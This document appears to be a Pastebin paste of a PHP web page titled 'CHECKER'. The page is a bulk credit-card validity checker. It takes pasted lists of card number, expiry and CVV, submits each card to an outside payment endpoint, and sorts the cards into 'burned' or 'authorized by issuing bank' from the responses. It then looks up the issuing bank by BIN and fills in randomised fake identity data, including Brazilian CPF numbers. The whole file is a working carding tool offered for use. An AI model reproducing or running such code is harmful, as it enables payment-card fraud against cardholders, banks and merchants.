Guest User

Untitled

a guest
Feb 13th, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.40 KB | None | 0 0
  1. <html><head><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css"><script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <meta charset="UTF-8"></head> <body><center> <h2><strong>CHECKER</small></strong></h2>
  2. <form name="frm-CardCheck" method="post">
  3. <textarea name="CARDLIS" class="input" cols="150" class="form-control" rows="20" placeholder="4093081909142000:07:2021:836 - SPLIT SAO : | ; / ( ATENCAO COM O FORMATO !! ) "></textarea>
  4. <center><BR> <input type="submit" class="btn btn-primary" value=" CHECK ANNE[SS] " style="width: 26%;"> </center>
  5. </form>
  6. <?php
  7. ini_set('smtp_port', '465');
  8. function ExternalImport($public){
  9. $external;
  10. if(filter_var($public, FILTER_VALIDATION_EMAIL)){
  11. return true;
  12. }else{
  13. return false;
  14. }
  15. }
  16.  
  17. function RandAll($panjang) {
  18. $pstring = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  19. $plen = strlen($pstring);
  20. for ($i = 1; $i <= $panjang; $i++) {
  21. $start = rand(0,$plen);
  22. $unik.= substr($pstring, $start, 1);
  23. }
  24.  
  25. return $unik;
  26. }
  27. function RandNum($panjang) {
  28. $pstring = "123456789";
  29. $plen = strlen($pstring);
  30. for ($i = 1; $i <= $panjang; $i++) {
  31. $start = rand(0,$plen);
  32. $unik.= substr($pstring, $start, 1);
  33. }
  34.  
  35. return $unik;
  36. }
  37.  
  38. function excluirArquivo(){
  39. if(file_exists("CardCheck_logs.txt")){
  40. unlink("CardCheck_logs.txt");
  41. }
  42. }
  43.  
  44. error_reporting(0);
  45. set_time_limit(0);
  46.  
  47. if(isset($_POST['CARDLIS'])){
  48. $SetParamList = trim($_POST['CARDLIS']);
  49. flush(); ob_flush();
  50. $SetParamList = split("n", $SetParamList);
  51. $SetParamCount = count($SetParamList);
  52. flush(); ob_flush();
  53. print "<span class='label label-info'>Total carregada : <strong> {$SetParamCount} <strong></span> <br> <br>";
  54. flush(); ob_flush();
  55. for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) {
  56. $SetParamList = str_replace(" ", "", $SetParamList);
  57. $SetParamList = str_replace("r", "", $SetParamList);
  58. $SetParamList = str_replace("n", "", $SetParamList);
  59. list($card, $mes, $ano, $cvv) = split("[:|;/]", $SetParamList[$setParamUX]);
  60. flush(); ob_flush();
  61. if(file_exists("CardCheck_logs.txt")) {
  62. unlink("CardCheck_logs.txt");
  63. }
  64.  
  65. $setParamFunction = CardCheck($card, $mes, $ano, $cvv);
  66. print $setParamFunction;
  67. }
  68. print "<br> <div style='width: 40%;' class='alert alert-warning'> Checkout finalizado com sucesso! </div>";
  69. }
  70.  
  71. function CardCheck($card, $mes, $ano, $cvv) {
  72.  
  73. if(file_exists(getcwd().'CardCheck_logs.txt')) {
  74. unlink(getcwd().'CardCheck_logs.txt');
  75. }
  76. if(file_exists("cookie.txt")){
  77. unlink("cookie.txt");
  78. }
  79.  
  80. switch (substr($card, 0, 1)) {
  81. case '4':
  82. $typeCard = 1;
  83. $typeName = "Visa";
  84. break;
  85. case '5':
  86. $typeCard = 2;
  87. $typeName = "MasterCard";
  88. break;
  89. case '3':
  90. $typeCard = 3;
  91. $typeName = "ax";
  92. break;
  93. }
  94.  
  95. switch ($mes) {
  96. case '1':
  97. $mes = '01';
  98. break;
  99. case '2':
  100. $mes = '02';
  101. break;
  102. case '3':
  103. $mes = '03';
  104. break;
  105. case '4':
  106. $mes = '04';
  107. break;
  108. case '5':
  109. $mes = '05';
  110. break;
  111. case '6':
  112. $mes = '06';
  113. break;
  114. case '7':
  115. $mes = '07';
  116. break;
  117. case '8':
  118. $mes = '08';
  119. break;
  120. case '9':
  121. $mes = '09';
  122. break;
  123. case '10':
  124. $mes = '10';
  125. break;
  126. case '11':
  127. $mes = '11';
  128. break;
  129. case '12':
  130. $mes = '12';
  131. break;
  132. }
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139. $name = array( "Pennington","Norman","Stewart","Cochran","Humphrey","Holmes","Chase","Chandler","Hoffman","Arias","Manning","Page","Frost","Mcguire","Glass" );
  140. $name = $name[rand(0, sizeof($name) - 1)];
  141. //last
  142. $lastname = array("Ayers","Bryan","Garner","Rojas","Gordon","Tanner","Juarez","Jensen","Oconnell","Mason","Whitaker","Meyer","Frey","Mooney","Salinaszz");
  143. $lastname = $lastname[rand(0, sizeof($lastname) - 1)];
  144.  
  145. $zip = array("62934","30329","35404","41042","64163","70001","94520","01608","97218","78476","75217","26206","23123","56523","32112");
  146. $zip = $zip[rand(0, sizeof($zip) - 1)];
  147.  
  148. $DateYear = array("1974","1973","1972","1971","1975","1980","1981","1982","1983","1984","1985","1986","1987","1988","1989","1969","1968");
  149. $DateYear = $DateYear[rand(0, sizeof($DateYear) - 1)];
  150.  
  151. $DateMonth = array("1","2","3","4","5","6","7","8","9","10","11","12");
  152. $DateMonth = $DateMonth[rand(0, sizeof($DateMonth) - 1)];
  153.  
  154. $Dateday = array("1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30");
  155. $Dateday = $Dateday[rand(0, sizeof($Dateday) - 1)];
  156.  
  157. $genero = array("male","female");
  158. $genero = $genero[rand(0, sizeof($genero) - 1)];
  159.  
  160.  
  161. $provedor_mail = array("gmail.com", "hotmail.com", "hotmail.com.br", "outlook.com", "bol.com.br", "yahoo.com.br", "imail.com.br", "mail.com", "yahoo.com");
  162. $provedor_mail = $provedor_mail[rand(0, sizeof($provedor_mail) - 1)];
  163.  
  164. $street = array("3973 Ross Street","3992 Flint Street","2532 Broad Street","4979 Mayo Street","706 White Oak Drive","1503 Shadowmar Drive","2715 Thunder Road","3017 Rockford Road","3823 Washington Street","2571 Heron Way","618 Ersel Street","134 Street Meyer","Frey","12 Jordon Mooney","3205 Tavern Place");
  165. $street = $street[rand(0, sizeof($street) - 1)];
  166. //city
  167. $city = array("Leamington","Atlanta","Tuscaloosa","Florence","Ferrelview","Metairie","Concord","Worcester","Portland","Corpus Christi","Dallas","Cowen","Frey","Jordon","Tavern");
  168. $city = $city[rand(0, sizeof($city) - 1)];
  169. //zip
  170. $zip = array("62934","30329","35404","41042","64163","70001","94520","01608","97218","78476","75217","26206","23123","56523","32112");
  171. $zip = $zip[rand(0, sizeof($zip) - 1)];
  172. //state
  173. $state = array("AR","AZ","CA","CO","CT","DC","DE","FL","GA","HI","IA","ID","IL","IN","KS","KY","LA","MA","MD","ME","MI","MN","MO","MS","MT","NC","ND","NE","NH","NJ","NM","NV","NY","OH","OK","OR","PA","RI","SC","SD","TN","TX","UT","VA","VT","WA","WI","WV","WY","AS","FM","GU","MH","MP","PR","PW","VI","AA","AE","AP","AB","BC","MB","NB","NL","NS","NT","NU","ON");
  174. $state = $state[rand(0, sizeof($state) - 1)];
  175.  
  176. $randProcuc = array("10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","29");
  177. $randProcuc = $randProcuc[rand(0, sizeof($randProcuc) - 1)];
  178.  
  179. $randCPF = array("279.804.306-97","287.834.545-27","183.369.115-61","797.683.894-60","581.861.531-60","680.744.263-78","279.704.344-87","573.838.329-06","931.525.477-57","766.701.013-76","974.286.102-14","926.529.562-72","171.735.855-11","185.302.491-00","097.979.041-72","120.848.671-34","210.085.401-10","281.064.341-00","444.565.901-06","647.603.671-87","720.565.681-87","471.431.341-04","491.822.181-53","084.528.651-04","338.056.016-20","645.697.568-91","186.426.081-53","380.921.231-87","146.213.202-53","115.231.071-20","041.565.283-91","214.658.511-00","033.669.791-00","417.494.641-87","524.345.401-04","351.428.201-34","258.653.401-82","563.489.161-20","221.048.361-15","324.830.401-44","602.003.591-34","249.148.351-34","184.618.591-20","941.394.158-00");
  180. $randCPF = $randCPF[rand(0, sizeof($randCPF) - 1)];
  181.  
  182. $log_Username = RandAll('8').'@'.$provedor_mail;
  183. $log_Password = RandAll('15');
  184. $log_login = RandAll('8');
  185. $sub_card1 = substr($card,0,4);
  186. $sub_card2 = substr($card,4,4);
  187. $sub_card3 = substr($card,8,4);
  188. $sub_card4 = substr($card,12,4);
  189. $group_card = $sub_card1.'-'.$sub_card2.'-'.$sub_card3.'-'.$sub_card4.'-';
  190. $sub_Ano = substr($ano,2,4);
  191. $group_mes = $mes;
  192. $group_ano = $sub_Ano."".$group_mes;
  193. $group_cvv = $cvv;
  194. $group_zip = RandNum("5");
  195. $tel1 = RandNum("2");
  196. $tel2 = RandNum("4");
  197. $tel3 = RandNum("4");
  198. $tel4 = $tel1."".$tel2."".$tel3;
  199. $ip1 = RandNum("3");
  200. $ip2 = RandNum("3");
  201. $ip3 = RandNum("3");
  202. $ip4 = RandNum("3");
  203. $ip5 = $ip1.".".$ip2.".".$ip3.".".$ip4;
  204.  
  205.  
  206. //POST JA ESTA CONFIGURADO!
  207. $ch = curl_init();
  208. curl_setopt($ch, CURLOPT_URL, 'http://chk-cc.net/');
  209. curl_setopt($ch, CURLOPT_HEADER, 1);
  210. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36'); // RADOM DOS NAVEGADORES
  211. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  212. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  213. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  214. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  215. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  216. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  217. curl_setopt($ch, CURLOPT_COOKIEJAR, '/CardCheck_logs.txt');
  218. curl_setopt($ch, CURLOPT_COOKIEFILE, '/CardCheck_logs.txt');
  219. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  220. curl_setopt($ch, CURLOPT_POST, 1);
  221. curl_setopt($ch, CURLOPT_REFERER, 'http://chk-cc.net/');
  222. curl_setopt($ch, CURLOPT_POSTFIELDS, "number=$card&expiration_month=$mes&expiration_year=$ano&securityCode=$cvv&btn-submit=CHECK+PAYMENT");
  223. $data = curl_exec($ch);
  224. curl_close($ch);
  225.  
  226. //PRECISA CONFIGURAR!
  227. if($data){
  228. if(preg_match("/Falha no pagamento/i", $data)) {
  229. echo "<div class='alert alert-danger' style='width: 80%;'> Check : {$card}|{$mes}|{$ano}|{$cvv}:Charged : $ {$randProcuc}.00 - Resposta : Cartao Queimado </div>";
  230. } elseif(preg_match("/Tipo do cart&#227;o n&#227;o pode ficar em branco/i", $data)) {
  231. echo "<div class='alert alert-danger' style='width: 80%;'> Check : {$card}|{$mes}|{$ano}|{$cvv}:Charged : $ {$randProcuc}.00 - Resposta : Cartao Nao suportado </div>";
  232. }
  233. elseif(preg_match("/Seu pagamento foi recebido com sucesso pelo Vakinha/i", $data)) {
  234.  
  235. $cc = substr($card,0,6) ;
  236. $ch = curl_init();
  237. curl_setopt($ch, CURLOPT_URL, "http://www.binlist.net/json/$cc");
  238. curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  239. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  240. $dadosSite = curl_exec ($ch);
  241. $numerobin1 = explode('{"bin":"', $dadosSite);
  242. $numerobin2 = explode('",',$numerobin1[1]);
  243. $numerobin = $numerobin2[0];
  244. $banco1 = explode('"bank":"', $dadosSite);
  245. $banco2 = explode('",',$banco1[1]);
  246. $banco = $banco2[0];
  247. $banco = strtoupper($banco);
  248. $cartao1 = explode('"card_type":"', $dadosSite);
  249. $cartao2 = explode('",',$cartao1[1]);
  250. $cartaor = $cartao2[0];
  251. $cartao11 = explode('"card_category":"', $dadosSite);
  252. $cartao21 = explode('",',$cartao11[1]);
  253. $cartao123 = $cartao21[0];
  254. $cartao111 = explode('"country_name":"', $dadosSite);
  255. $cartao211 = explode('",',$cartao111[1]);
  256. $cartao1231 = $cartao211[0];
  257. $cartao1231 = strtoupper($cartao1231);
  258. $cartao1111 = explode('"brand":"', $dadosSite);
  259. $cartao2111 = explode('",',$cartao1111[1]);
  260. $cartao12311 = $cartao2111[0];
  261. $cartao12311 = strtoupper($cartao12311);
  262. $info = "<font face='Tahoma' size='2' color='#FFD700'>". $banco . '</font> |'. "<font face='Tahoma' size='2' color='#FF4500'>" .$cartao12311. '</font>|' . "<font face='Tahoma' size='2' color='#FF00FF'>" .$cartaor. '</font>|'. "<font face='Tahoma' size='2' color='#7B68EE'>" .$cartao123. '</font>|'. "<font face='Tahoma' size='2' color='#FF1493'>" .$cartao1231 .'</font>';
  263. $infos = $banco . '|'. $cartao12311. '|' .$cartaor. '|'.$cartao123. '|'.$cartao1231 ;
  264.  
  265.  
  266.  
  267. echo "<div class='alert alert-success' style='width: 80%;'> Check : {$card}|{$mes}|{$ano}|{$cvv}:Charged : $ {$randProcuc}.00:$info: - Resposta : Autorizado pelo banco emissor </div>";
  268. } else {
  269. echo "<div class='alert alert-danger' style='width: 80%;'> Check : {$card}|{$mes}|{$ano}|{$cvv}:Charged : $ {$randProcuc}.00 - Resposta : No check </div>";
  270.  
  271. }
  272. }
  273.  
  274.  
  275. }
  276. ?>
  277. </BR>
  278. </center>
  279. </form>
  280. </center>
  281. </body>
  282. </html>
Add Comment
Please, Sign In to add comment